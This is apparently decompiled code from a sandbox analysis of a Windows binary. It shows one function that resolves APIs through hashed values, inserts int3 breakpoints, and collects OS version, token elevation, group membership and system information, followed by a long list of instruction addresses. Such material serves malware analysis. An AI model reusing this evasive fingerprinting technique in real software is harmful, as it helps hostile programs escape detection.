                                                                                                                                              				void* _t414;
                                                                                                                                              				void* _t415;
                                                                                                                                              				void* _t420;
                                                                                                                                              				intOrPtr* _t423;
                                                                                                                                              				void* _t425;
                                                                                                                                              				void** _t427;
                                                                                                                                              				void* _t428;
                                                                                                                                              				void* _t429;
                                                                                                                                              
                                                                                                                                              				_t414 = __ecx;
                                                                                                                                              				_t155 =  *0x6e76d1f8;
                                                                                                                                              				if(_t155 == 0x4c71e88d) {
                                                                                                                                              					_t155 = E6E76361C(0x30);
                                                                                                                                              					 *0x6e76d1f8 = _t155;
                                                                                                                                              				}
                                                                                                                                              				if( *((char*)(_t155 + 0xb)) == 0 || _t414 != 0) {
                                                                                                                                              					_t415 = _t428 + 0x48;
                                                                                                                                              					E6E763698(_t415, 0, 0x11c);
                                                                                                                                              					_t429 = _t428 + 0xc;
                                                                                                                                              					 *((intOrPtr*)(_t429 + 0x48)) = 0x11c;
                                                                                                                                              					if(E6E76306C(0x8e844d1e, 0xcf311107, 0x8e844d1e, 0x8e844d1e) != 0) {
                                                                                                                                              						_push(_t415);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t404 =  *0x6e76d1f8;
                                                                                                                                              					_t159 = _t429 + 0x4c;
                                                                                                                                              					_t294 =  *_t159;
                                                                                                                                              					 *(_t404 + 8) = _t294;
                                                                                                                                              					_t295 = _t159[4];
                                                                                                                                              					 *(_t404 + 9) = _t295;
                                                                                                                                              					 *((char*)(_t404 + 0xa)) = _t159[0x110];
                                                                                                                                              					 *((intOrPtr*)(_t404 + 4)) =  *((intOrPtr*)(_t429 + 0x54));
                                                                                                                                              					 *((char*)(_t404 + 0xc)) = 0 | _t159[0x116] != 0x00000001;
                                                                                                                                              					 *_t404 = (_t295 & 0x000000ff) + ((_t294 & 0x000000ff) << 4) - 0x50;
                                                                                                                                              					_t162 = E6E760FF8(_t404);
                                                                                                                                              					 *(_t429 + 0x198) = 0;
                                                                                                                                              					 *((char*)( *0x6e76d1f8 + 0xb)) = _t162;
                                                                                                                                              					_t363 = E6E76306C(0x150c05fc, 0x1da4d409, _t162, _t162);
                                                                                                                                              					if(_t363 == 0) {
                                                                                                                                              						L12:
                                                                                                                                              						_t364 = 0;
                                                                                                                                              						L13:
                                                                                                                                              						 *((char*)( *0x6e76d1f8 + 0x28)) = _t364;
                                                                                                                                              						if( *((intOrPtr*)(E6E760730(0))) >= 0x10) {
                                                                                                                                              							_push(6);
                                                                                                                                              							memcpy(_t429 + 0x164, 0x6e76bce0, 0 << 2);
                                                                                                                                              							_t429 = _t429 + 0xc;
                                                                                                                                              							 *((intOrPtr*)(_t429 + 0x1c)) = 0;
                                                                                                                                              							E6E75F584(_t429 + 0x24, 0);
                                                                                                                                              							_t406 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							do {
                                                                                                                                              								E6E75F828(_t429 + 0x24, E6E75F4CC(_t429 + 0x20) + 4);
                                                                                                                                              								 *((intOrPtr*)(E6E75F4BC(_t429 + 0x24, E6E75F4CC(_t429 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t429 + 0x164 + _t406 * 4));
                                                                                                                                              								_t406 = _t406 + 1;
                                                                                                                                              								 *((intOrPtr*)(_t429 + 0x1c)) =  *((intOrPtr*)(_t429 + 0x1c)) + 1;
                                                                                                                                              								__eflags = _t406 - 6;
                                                                                                                                              							} while (_t406 < 6);
                                                                                                                                              							_push(0);
                                                                                                                                              							E6E765580(_t429 + 0xc, _t429 + 0x1c, 0x80000002);
                                                                                                                                              							E6E75F654(_t429 + 0x20);
                                                                                                                                              							E6E7655B0(_t429 + 8, _t429 + 0x1c0, 0xc0092a94);
                                                                                                                                              							_t180 = E6E765864(_t429 + 4, __eflags,  *((intOrPtr*)(_t429 + 0x1c0)));
                                                                                                                                              							_t407 = _t180;
                                                                                                                                              							E6E75DFA4(_t429 + 0x1c0);
                                                                                                                                              							__eflags = _t180;
                                                                                                                                              							if(_t180 != 0) {
                                                                                                                                              								E6E7655B0(_t429 + 8, _t429 + 0x1c8, 0x1e55aaec);
                                                                                                                                              								_t420 = E6E765864(_t429 + 4, __eflags,  *((intOrPtr*)(_t429 + 0x1c8)));
                                                                                                                                              								E6E75DFA4(_t429 + 0x1c8);
                                                                                                                                              								_t407 = _t429 + 0x1d0;
                                                                                                                                              								E6E7655B0(_t429 + 8, _t429 + 0x1d0, 0x360d0c74);
                                                                                                                                              								_t401 = E6E765864(_t429 + 4, __eflags,  *(_t429 + 0x1d0));
                                                                                                                                              								E6E75DFA4(_t429 + 0x1d0);
                                                                                                                                              								__eflags = _t420;
                                                                                                                                              								if(_t420 != 0) {
                                                                                                                                              									__eflags = _t420 - 5;
                                                                                                                                              									if(_t420 != 5) {
                                                                                                                                              										__eflags = _t420 - 2;
                                                                                                                                              										if(_t420 != 2) {
                                                                                                                                              											L58:
                                                                                                                                              											E6E75CFDC(_t429 + 0xc);
                                                                                                                                              											__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              											if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              												L65:
                                                                                                                                              												_t189 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              												 *(_t429 + 4) = 0;
                                                                                                                                              												goto L66;
                                                                                                                                              											}
                                                                                                                                              											_t382 =  *(_t429 + 4);
                                                                                                                                              											__eflags = _t382;
                                                                                                                                              											if(_t382 == 0) {
                                                                                                                                              												L61:
                                                                                                                                              												_t238 = 1;
                                                                                                                                              												L63:
                                                                                                                                              												__eflags = _t238;
                                                                                                                                              												if(_t238 == 0) {
                                                                                                                                              													E6E765558(_t382);
                                                                                                                                              												}
                                                                                                                                              												goto L65;
                                                                                                                                              											}
                                                                                                                                              											__eflags = _t382 - 0xffffffff;
                                                                                                                                              											if(_t382 != 0xffffffff) {
                                                                                                                                              												_t238 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              												goto L63;
                                                                                                                                              											}
                                                                                                                                              											goto L61;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t401 - 1;
                                                                                                                                              										if(_t401 != 1) {
                                                                                                                                              											goto L58;
                                                                                                                                              										}
                                                                                                                                              										E6E75CFDC(_t429 + 0xc);
                                                                                                                                              										__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              										if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              											L57:
                                                                                                                                              											 *(_t429 + 4) = 0;
                                                                                                                                              											_t189 = 5;
                                                                                                                                              											goto L66;
                                                                                                                                              										}
                                                                                                                                              										_t383 =  *(_t429 + 4);
                                                                                                                                              										__eflags = _t383;
                                                                                                                                              										if(_t383 == 0) {
                                                                                                                                              											L53:
                                                                                                                                              											_t241 = 1;
                                                                                                                                              											L55:
                                                                                                                                              											__eflags = _t241;
                                                                                                                                              											if(_t241 == 0) {
                                                                                                                                              												E6E765558(_t383);
                                                                                                                                              											}
                                                                                                                                              											goto L57;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t383 - 0xffffffff;
                                                                                                                                              										if(_t383 != 0xffffffff) {
                                                                                                                                              											_t241 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											goto L55;
                                                                                                                                              										}
                                                                                                                                              										goto L53;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t401;
                                                                                                                                              									if(_t401 != 0) {
                                                                                                                                              										__eflags = _t401 - 1;
                                                                                                                                              										if(_t401 == 1) {
                                                                                                                                              											E6E75CFDC(_t429 + 0xc);
                                                                                                                                              											__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              											if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              												L121:
                                                                                                                                              												 *(_t429 + 4) = 0;
                                                                                                                                              												_t189 = 4;
                                                                                                                                              												goto L66;
                                                                                                                                              											}
                                                                                                                                              											_t384 =  *(_t429 + 4);
                                                                                                                                              											__eflags = _t384;
                                                                                                                                              											if(_t384 == 0) {
                                                                                                                                              												L117:
                                                                                                                                              												_t244 = 1;
                                                                                                                                              												L119:
                                                                                                                                              												__eflags = _t244;
                                                                                                                                              												if(_t244 == 0) {
                                                                                                                                              													E6E765558(_t384);
                                                                                                                                              												}
                                                                                                                                              												goto L121;
                                                                                                                                              											}
                                                                                                                                              											__eflags = _t384 - 0xffffffff;
                                                                                                                                              											if(_t384 != 0xffffffff) {
                                                                                                                                              												_t244 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              												goto L119;
                                                                                                                                              											}
                                                                                                                                              											goto L117;
                                                                                                                                              										}
                                                                                                                                              										goto L58;
                                                                                                                                              									}
                                                                                                                                              									E6E75CFDC(_t429 + 0xc);
                                                                                                                                              									__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              									if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              										L45:
                                                                                                                                              										 *(_t429 + 4) = 0;
                                                                                                                                              										_t189 = 3;
                                                                                                                                              										goto L66;
                                                                                                                                              									}
                                                                                                                                              									_t385 =  *(_t429 + 4);
                                                                                                                                              									__eflags = _t385;
                                                                                                                                              									if(_t385 == 0) {
                                                                                                                                              										L41:
                                                                                                                                              										_t247 = 1;
                                                                                                                                              										L43:
                                                                                                                                              										__eflags = _t247;
                                                                                                                                              										if(_t247 == 0) {
                                                                                                                                              											E6E765558(_t385);
                                                                                                                                              										}
                                                                                                                                              										goto L45;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t385 - 0xffffffff;
                                                                                                                                              									if(_t385 != 0xffffffff) {
                                                                                                                                              										_t247 = 0;
                                                                                                                                              										__eflags = 0;
                                                                                                                                              										goto L43;
                                                                                                                                              									}
                                                                                                                                              									goto L41;
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t401;
                                                                                                                                              								if(_t401 != 0) {
                                                                                                                                              									goto L58;
                                                                                                                                              								}
                                                                                                                                              								E6E75CFDC(_t429 + 0xc);
                                                                                                                                              								__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              								if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              									L35:
                                                                                                                                              									 *(_t429 + 4) = 0;
                                                                                                                                              									_t189 = 2;
                                                                                                                                              									goto L66;
                                                                                                                                              								}
                                                                                                                                              								_t386 =  *(_t429 + 4);
                                                                                                                                              								__eflags = _t386;
                                                                                                                                              								if(_t386 == 0) {
                                                                                                                                              									L31:
                                                                                                                                              									_t250 = 1;
                                                                                                                                              									L33:
                                                                                                                                              									__eflags = _t250;
                                                                                                                                              									if(_t250 == 0) {
                                                                                                                                              										E6E765558(_t386);
                                                                                                                                              									}
                                                                                                                                              									goto L35;
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t386 - 0xffffffff;
                                                                                                                                              								if(_t386 != 0xffffffff) {
                                                                                                                                              									_t250 = 0;
                                                                                                                                              									__eflags = 0;
                                                                                                                                              									goto L33;
                                                                                                                                              								}
                                                                                                                                              								goto L31;
                                                                                                                                              							}
                                                                                                                                              							E6E75CFDC(_t429 + 0xc);
                                                                                                                                              							__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              							if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              								L25:
                                                                                                                                              								 *(_t429 + 4) = 0;
                                                                                                                                              								_t189 = 1;
                                                                                                                                              								goto L66;
                                                                                                                                              							}
                                                                                                                                              							_t387 =  *(_t429 + 4);
                                                                                                                                              							__eflags = _t387;
                                                                                                                                              							if(_t387 == 0) {
                                                                                                                                              								L21:
                                                                                                                                              								_t254 = 1;
                                                                                                                                              								L23:
                                                                                                                                              								__eflags = _t254;
                                                                                                                                              								if(_t254 == 0) {
                                                                                                                                              									E6E765558(_t387);
                                                                                                                                              								}
                                                                                                                                              								goto L25;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t387 - 0xffffffff;
                                                                                                                                              							if(_t387 != 0xffffffff) {
                                                                                                                                              								_t254 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								goto L23;
                                                                                                                                              							}
                                                                                                                                              							goto L21;
                                                                                                                                              						} else {
                                                                                                                                              							_t189 = 1;
                                                                                                                                              							L66:
                                                                                                                                              							 *((intOrPtr*)( *0x6e76d1f8 + 0x24)) = _t189;
                                                                                                                                              							_t190 = E6E761030(0xffffffffffffffff);
                                                                                                                                              							_t320 =  *0x6e76d1f8;
                                                                                                                                              							 *((char*)(_t320 + 0x29)) = _t190;
                                                                                                                                              							 *((intOrPtr*)(_t320 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
                                                                                                                                              							if( *_t320 >= 0x10) {
                                                                                                                                              								__eflags = 0xffffffffffffffff;
                                                                                                                                              								 *((intOrPtr*)( *0x6e76d1f8 + 0x2c)) = E6E7610A4(0x6e76d1f8, 0xffffffffffffffff);
                                                                                                                                              								L78:
                                                                                                                                              								if(E6E76306C(0x8e844d1e, 0x925d7fea, 0x8e844d1e, 0x8e844d1e) != 0) {
                                                                                                                                              									GetSystemInfo(_t429 + 0x164); // executed
                                                                                                                                              								}
                                                                                                                                              								_t196 =  *0x6e76d1f8;
                                                                                                                                              								_t291 = _t429 + 0x178;
                                                                                                                                              								_t409 = _t429 + 0x170;
                                                                                                                                              								 *((short*)(_t196 + 0xe)) =  *_t291;
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x10)) =  *((intOrPtr*)(_t291 - 0x10));
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x14)) =  *((intOrPtr*)(_t291 - 0xc));
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x18)) =  *_t409;
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x1c)) =  *((intOrPtr*)(_t409 + 0x10));
                                                                                                                                              								return _t196;
                                                                                                                                              							}
                                                                                                                                              							 *(_t429 + 0x19c) = 0;
                                                                                                                                              							_t372 = E6E76306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                                                              							if(_t372 == 0) {
                                                                                                                                              								L74:
                                                                                                                                              								_t200 =  *0x6e76d1f8;
                                                                                                                                              								if( *((char*)(_t200 + 0x28)) == 0) {
                                                                                                                                              									 *((intOrPtr*)(_t200 + 0x2c)) = 3;
                                                                                                                                              								} else {
                                                                                                                                              									 *((intOrPtr*)(_t200 + 0x2c)) = 5;
                                                                                                                                              								}
                                                                                                                                              								goto L78;
                                                                                                                                              							}
                                                                                                                                              							_push(_t429 + 0x19c);
                                                                                                                                              							_push(8);
                                                                                                                                              							_push(0xffffffff);
                                                                                                                                              							if( *_t372() == 0) {
                                                                                                                                              								_t203 = E6E7635F0(_t407);
                                                                                                                                              								__eflags = _t203;
                                                                                                                                              								if(_t203 != 0) {
                                                                                                                                              									goto L74;
                                                                                                                                              								}
                                                                                                                                              							}
                                                                                                                                              							 *(_t429 + 0x30) =  *(_t429 + 0x19c);
                                                                                                                                              							 *((char*)(_t429 + 0x34)) = 1;
                                                                                                                                              							 *(_t429 + 0x1a4) = 0;
                                                                                                                                              							_t325 = E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              							if(_t325 != 0) {
                                                                                                                                              								_push(_t429 + 0x1a4);
                                                                                                                                              								_push(0);
                                                                                                                                              								_push(0);
                                                                                                                                              								_push(1);
                                                                                                                                              								_push( *(_t429 + 0x1ac));
                                                                                                                                              								if( *_t325() == 0) {
                                                                                                                                              									E6E7635F0(_t407);
                                                                                                                                              								}
                                                                                                                                              							}
                                                                                                                                              							_t206 =  *(_t429 + 0x1a4);
                                                                                                                                              							if( *(_t429 + 0x1a4) != 0) {
                                                                                                                                              								E6E75F584(_t429 + 0x18c, _t206);
                                                                                                                                              								_t411 = E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              								__eflags = _t411;
                                                                                                                                              								if(_t411 == 0) {
                                                                                                                                              									L133:
                                                                                                                                              									E6E75F654(_t429 + 0x188);
                                                                                                                                              									goto L72;
                                                                                                                                              								}
                                                                                                                                              								_t212 = E6E75F4BC(_t429 + 0x18c, 0);
                                                                                                                                              								_t213 = E6E75F4CC(_t429 + 0x188);
                                                                                                                                              								_t215 =  *_t411( *(_t429 + 0x1ac), 1, _t212, _t213, _t429 + 0x1a4);
                                                                                                                                              								__eflags = _t215;
                                                                                                                                              								if(_t215 == 0) {
                                                                                                                                              									_t216 = E6E7635F0(_t411);
                                                                                                                                              									__eflags = _t216;
                                                                                                                                              									if(_t216 != 0) {
                                                                                                                                              										goto L133;
                                                                                                                                              									}
                                                                                                                                              								}
                                                                                                                                              								_t423 = E6E75F4BC(_t429 + 0x18c, 0);
                                                                                                                                              								E6E75DF4C(_t429 + 0x1b4, 0);
                                                                                                                                              								 *(_t429 + 0x1ac) = 0;
                                                                                                                                              								_t377 = E6E76306C(0x150c05fc, 0xfc1a24a1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              								__eflags = _t377;
                                                                                                                                              								if(_t377 != 0) {
                                                                                                                                              									 *_t377( *_t423, _t429 + 0x1ac);
                                                                                                                                              								}
                                                                                                                                              								E6E75DFC0(_t429 + 0x1b4,  *(_t429 + 0x1ac));
                                                                                                                                              								_t223 = E6E76306C(0x8e844d1e, 0xda6a2597, 0x8e844d1e, 0x8e844d1e);
                                                                                                                                              								__eflags = _t223;
                                                                                                                                              								if(_t223 != 0) {
                                                                                                                                              									_push( *(_t429 + 0x1ac));
                                                                                                                                              									asm("int3");
                                                                                                                                              									asm("int3");
                                                                                                                                              								}
                                                                                                                                              								E6E75E06C(_t429 + 0x1b8 - 8, _t429 + 0x1b8);
                                                                                                                                              								_t425 = E6E764FFC( *((intOrPtr*)(_t429 + 0x1b8)), E6E75E8A8( *((intOrPtr*)(_t429 + 0x1b8)), 0x7fffffff));
                                                                                                                                              								E6E75DFA4(_t429 + 0x1b8);
                                                                                                                                              								E6E75DFA4(_t429 + 0x1b0);
                                                                                                                                              								E6E75F654(_t429 + 0x188);
                                                                                                                                              								__eflags =  *((char*)(_t429 + 0x34));
                                                                                                                                              								if( *((char*)(_t429 + 0x34)) != 0) {
                                                                                                                                              									E6E75BB44(_t429 + 0x30);
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t425 - 0x6df4cf7;
                                                                                                                                              								if(_t425 != 0x6df4cf7) {
                                                                                                                                              									goto L74;
                                                                                                                                              								} else {
                                                                                                                                              									 *((intOrPtr*)( *0x6e76d1f8 + 0x2c)) = 6;
                                                                                                                                              									goto L78;
                                                                                                                                              								}
                                                                                                                                              							} else {
                                                                                                                                              								L72:
                                                                                                                                              								if( *((char*)(_t429 + 0x34)) != 0) {
                                                                                                                                              									E6E75BB44(_t429 + 0x30);
                                                                                                                                              								}
                                                                                                                                              								goto L74;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_push(_t429 + 0x198);
                                                                                                                                              					_push(8);
                                                                                                                                              					_push(0xffffffff);
                                                                                                                                              					if( *_t363() == 0) {
                                                                                                                                              						_t259 = E6E7635F0(_t404);
                                                                                                                                              						__eflags = _t259;
                                                                                                                                              						if(_t259 != 0) {
                                                                                                                                              							goto L12;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					 *(_t429 + 0x14) =  *(_t429 + 0x198);
                                                                                                                                              					 *((char*)(_t429 + 0x18)) = 1;
                                                                                                                                              					 *(_t429 + 0x1a0) = 0;
                                                                                                                                              					if(E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) != 0) {
                                                                                                                                              						_t288 = GetTokenInformation( *(_t429 + 0x1a8), 2, 0, 0, _t429 + 0x1a0); // executed
                                                                                                                                              						if(_t288 == 0) {
                                                                                                                                              							E6E7635F0(_t404);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t262 =  *(_t429 + 0x1a0);
                                                                                                                                              					if( *(_t429 + 0x1a0) != 0) {
                                                                                                                                              						E6E75F584(_t429 + 0x3c, _t262);
                                                                                                                                              						_t265 = E6E76306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              						_t407 = _t265;
                                                                                                                                              						__eflags = _t265;
                                                                                                                                              						if(_t265 == 0) {
                                                                                                                                              							L107:
                                                                                                                                              							E6E75F654(_t429 + 0x38);
                                                                                                                                              							goto L10;
                                                                                                                                              						}
                                                                                                                                              						_t268 = E6E75F4BC(_t429 + 0x3c, 0);
                                                                                                                                              						_t271 = GetTokenInformation( *(_t429 + 0x1a8), 2, _t268, E6E75F4CC(_t429 + 0x38), _t429 + 0x1a0); // executed
                                                                                                                                              						__eflags = _t271;
                                                                                                                                              						if(_t271 == 0) {
                                                                                                                                              							_t272 = E6E7635F0(_t407);
                                                                                                                                              							__eflags = _t272;
                                                                                                                                              							if(_t272 != 0) {
                                                                                                                                              								goto L107;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t427 = E6E75F4BC(_t429 + 0x3c, 0);
                                                                                                                                              						 *(_t429 + 0x1d8 - 0x30) = 0;
                                                                                                                                              						asm("movsd");
                                                                                                                                              						asm("movsb");
                                                                                                                                              						asm("movsb");
                                                                                                                                              						_t407 = E6E76306C(0x150c05fc, 0x2351aaca, 0x150c05fc, 0x150c05fc);
                                                                                                                                              						__eflags = _t407;
                                                                                                                                              						if(_t407 == 0) {
                                                                                                                                              							goto L107;
                                                                                                                                              						}
                                                                                                                                              						_t276 = _t429 + 0x1a8;
                                                                                                                                              						_t277 =  *_t407(_t276 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t276);
                                                                                                                                              						__eflags = _t277;
                                                                                                                                              						if(_t277 == 0) {
                                                                                                                                              							_t278 = E6E7635F0(_t407);
                                                                                                                                              							__eflags = _t278;
                                                                                                                                              							if(_t278 != 0) {
                                                                                                                                              								goto L107;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t403 =  *(_t429 + 0x1a8);
                                                                                                                                              						__eflags =  *_t427;
                                                                                                                                              						if( *_t427 <= 0) {
                                                                                                                                              							L101:
                                                                                                                                              							__eflags = _t403;
                                                                                                                                              							if(_t403 == 0) {
                                                                                                                                              								L103:
                                                                                                                                              								_t393 = 1;
                                                                                                                                              								L105:
                                                                                                                                              								__eflags = _t393;
                                                                                                                                              								if(_t393 == 0) {
                                                                                                                                              									E6E760FD4(_t403, _t407, _t403);
                                                                                                                                              								}
                                                                                                                                              								goto L107;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t403 - 0xffffffff;
                                                                                                                                              							if(_t403 != 0xffffffff) {
                                                                                                                                              								_t393 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								goto L105;
                                                                                                                                              							}
                                                                                                                                              							goto L103;
                                                                                                                                              						}
                                                                                                                                              						_t413 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							_t282 = E6E76306C(0x150c05fc, 0xb4757511, 0x150c05fc, 0x150c05fc);
                                                                                                                                              							__eflags = _t282;
                                                                                                                                              							if(_t282 == 0) {
                                                                                                                                              								goto L100;
                                                                                                                                              							}
                                                                                                                                              							_push( *((intOrPtr*)(_t427 + 4 + _t413 * 8)));
                                                                                                                                              							_push( *(_t429 + 0x1ac));
                                                                                                                                              							asm("int3");
                                                                                                                                              							asm("int3");
                                                                                                                                              							__eflags = _t282;
                                                                                                                                              							if(_t282 == 0) {
                                                                                                                                              								goto L100;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t403;
                                                                                                                                              							if(_t403 == 0) {
                                                                                                                                              								L93:
                                                                                                                                              								_t395 = 1;
                                                                                                                                              								L95:
                                                                                                                                              								__eflags = _t395;
                                                                                                                                              								if(_t395 == 0) {
                                                                                                                                              									E6E760FD4(_t403, _t413, _t403);
                                                                                                                                              								}
                                                                                                                                              								E6E75F654(_t429 + 0x38);
                                                                                                                                              								__eflags =  *((char*)(_t429 + 0x18));
                                                                                                                                              								if( *((char*)(_t429 + 0x18)) != 0) {
                                                                                                                                              									E6E75BB44(_t429 + 0x14);
                                                                                                                                              								}
                                                                                                                                              								_t364 = 1;
                                                                                                                                              								goto L13;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t403 - 0xffffffff;
                                                                                                                                              							if(_t403 != 0xffffffff) {
                                                                                                                                              								_t395 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								goto L95;
                                                                                                                                              							}
                                                                                                                                              							goto L93;
                                                                                                                                              							L100:
                                                                                                                                              							_t413 = _t413 + 1;
                                                                                                                                              							__eflags = _t413 -  *_t427;
                                                                                                                                              						} while (_t413 <  *_t427);
                                                                                                                                              						goto L101;
                                                                                                                                              					}
                                                                                                                                              					L10:
                                                                                                                                              					if( *((char*)(_t429 + 0x18)) != 0) {
                                                                                                                                              						E6E75BB44(_t429 + 0x14);
                                                                                                                                              					}
                                                                                                                                              					goto L12;
                                                                                                                                              				} else {
                                                                                                                                              					return _t155;
                                                                                                                                              				}
                                                                                                                                              			}




































































                                                                                                                                              0x6e76073f
                                                                                                                                              0x6e760741
                                                                                                                                              0x6e760748
                                                                                                                                              0x6e760fc7
                                                                                                                                              0x6e760fcd
                                                                                                                                              0x6e760fcd
                                                                                                                                              0x6e760752
                                                                                                                                              0x6e76075e
                                                                                                                                              0x6e76076a
                                                                                                                                              0x6e76076f
                                                                                                                                              0x6e76077c
                                                                                                                                              0x6e76078d
                                                                                                                                              0x6e76078f
                                                                                                                                              0x6e760790
                                                                                                                                              0x6e760791
                                                                                                                                              0x6e760791
                                                                                                                                              0x6e760792
                                                                                                                                              0x6e760796
                                                                                                                                              0x6e76079a
                                                                                                                                              0x6e76079f
                                                                                                                                              0x6e7607a2
                                                                                                                                              0x6e7607a8
                                                                                                                                              0x6e7607c2
                                                                                                                                              0x6e7607c9
                                                                                                                                              0x6e7607cc
                                                                                                                                              0x6e7607cf
                                                                                                                                              0x6e7607d1
                                                                                                                                              0x6e7607dd
                                                                                                                                              0x6e7607ea
                                                                                                                                              0x6e7607f7
                                                                                                                                              0x6e7607fb
                                                                                                                                              0x6e760887
                                                                                                                                              0x6e760887
                                                                                                                                              0x6e760889
                                                                                                                                              0x6e76088d
                                                                                                                                              0x6e760898
                                                                                                                                              0x6e7608ae
                                                                                                                                              0x6e7608b1
                                                                                                                                              0x6e7608b1
                                                                                                                                              0x6e7608b5
                                                                                                                                              0x6e7608be
                                                                                                                                              0x6e7608c3
                                                                                                                                              0x6e7608c3
                                                                                                                                              0x6e7608c5
                                                                                                                                              0x6e7608d6
                                                                                                                                              0x6e7608f8
                                                                                                                                              0x6e7608fa
                                                                                                                                              0x6e7608fb
                                                                                                                                              0x6e7608ff
                                                                                                                                              0x6e7608ff
                                                                                                                                              0x6e760908
                                                                                                                                              0x6e760914
                                                                                                                                              0x6e76091d
                                                                                                                                              0x6e760933
                                                                                                                                              0x6e760943
                                                                                                                                              0x6e760948
                                                                                                                                              0x6e76094c
                                                                                                                                              0x6e760951
                                                                                                                                              0x6e760953
                                                                                                                                              0x6e7609a3
                                                                                                                                              0x6e7609b8
                                                                                                                                              0x6e7609bc
                                                                                                                                              0x6e7609c1
                                                                                                                                              0x6e7609d2
                                                                                                                                              0x6e7609e7
                                                                                                                                              0x6e7609eb
                                                                                                                                              0x6e7609f0
                                                                                                                                              0x6e7609f2
                                                                                                                                              0x6e760a39
                                                                                                                                              0x6e760a3c
                                                                                                                                              0x6e760a8a
                                                                                                                                              0x6e760a8d
                                                                                                                                              0x6e760ace
                                                                                                                                              0x6e760ad2
                                                                                                                                              0x6e760ad7
                                                                                                                                              0x6e760adc
                                                                                                                                              0x6e760afb
                                                                                                                                              0x6e760afb
                                                                                                                                              0x6e760afb
                                                                                                                                              0x6e760afd
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760afd
                                                                                                                                              0x6e760ade
                                                                                                                                              0x6e760ae2
                                                                                                                                              0x6e760ae4
                                                                                                                                              0x6e760aeb
                                                                                                                                              0x6e760aeb
                                                                                                                                              0x6e760af1
                                                                                                                                              0x6e760af1
                                                                                                                                              0x6e760af3
                                                                                                                                              0x6e760af6
                                                                                                                                              0x6e760af6
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760af3
                                                                                                                                              0x6e760ae6
                                                                                                                                              0x6e760ae9
                                                                                                                                              0x6e760aef
                                                                                                                                              0x6e760aef
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760aef
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760ae9
                                                                                                                                              0x6e760a8f
                                                                                                                                              0x6e760a92
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760a98
                                                                                                                                              0x6e760a9d
                                                                                                                                              0x6e760aa2
                                                                                                                                              0x6e760ac1
                                                                                                                                              0x6e760ac1
                                                                                                                                              0x6e760acb
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760acb
                                                                                                                                              0x6e760aa4
                                                                                                                                              0x6e760aa8
                                                                                                                                              0x6e760aaa
                                                                                                                                              0x6e760ab1
                                                                                                                                              0x6e760ab1
                                                                                                                                              0x6e760ab7
                                                                                                                                              0x6e760ab7
                                                                                                                                              0x6e760ab9
                                                                                                                                              0x6e760abc
                                                                                                                                              0x6e760abc
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760ab9
                                                                                                                                              0x6e760aac
                                                                                                                                              0x6e760aaf
                                                                                                                                              0x6e760ab5
                                                                                                                                              0x6e760ab5
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760ab5
                                                                                                                                              0x00000000
                                                                                                                                              0x6e760aaf
                                                                                                                                              0x6e760a3e
                                                                                                                                              0x6e760a40
                                                                                                                                              0x6e760a7f
                                                                                                                                              0x6e760a82
                                                                                                                                              0x6e760df4
